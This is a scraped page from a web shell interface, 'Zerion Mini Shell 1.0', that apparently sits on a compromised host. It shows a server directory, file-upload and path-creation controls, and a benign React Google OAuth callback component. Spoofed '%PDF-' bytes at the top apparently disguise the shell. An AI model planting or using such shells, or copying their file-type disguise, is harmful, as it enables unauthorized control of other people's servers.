%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/src/pages/
Upload File :
Create Path :
Current File : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/src/pages/GoogleCallbackPage.tsx

import { useEffect, useRef } from "react";
import { useNavigate, useSearchParams } from "react-router-dom";
import { useAuth } from "@/contexts/AuthContext";

/**
 * Halaman callback OAuth Google (publik).
 * Alur: /auth/google/callback?code=…&state=… → POST /auth/google/callback
 * → sesi diset → redirect ke dashboard. Jika gagal, kembali ke /login
 * dengan pesan error (location.state.oauthError).
 */
export default function GoogleCallbackPage() {
  const [params] = useSearchParams();
  const navigate = useNavigate();
  const { completeOAuth } = useAuth();
  const started = useRef(false);

  useEffect(() => {
    if (started.current) return;
    started.current = true;

    const code = params.get("code");
    const state = params.get("state");

    if (!code || !state) {
      navigate("/login", {
        replace: true,
        state: { oauthError: "Kode otorisasi Google tidak ditemukan." },
      });
      return;
    }

    const cancel = { current: false };
    completeOAuth(code, state)
      .then((u) => {
        if (!cancel.current) {
          navigate(u?.has_password ? "/dashboard" : "/lengkapi-password", {
            replace: true,
          });
        }
      })
      .catch((e: Error) => {
        if (!cancel.current) {
          navigate("/login", {
            replace: true,
            state: { oauthError: e.message },
          });
        }
      });
    return () => {
      cancel.current = true;
    };
  }, [params, navigate, completeOAuth]);

  return (
    <div className="flex min-h-screen items-center justify-center">
      <div className="flex flex-col items-center gap-4">
        <div className="h-10 w-10 animate-spin rounded-full border-2 border-brand-500/30 border-t-brand-400" />
        <p className="text-sm text-slate-500">Menghubungkan akun Google…</p>
      </div>
    </div>
  );
}

Zerion Mini Shell 1.0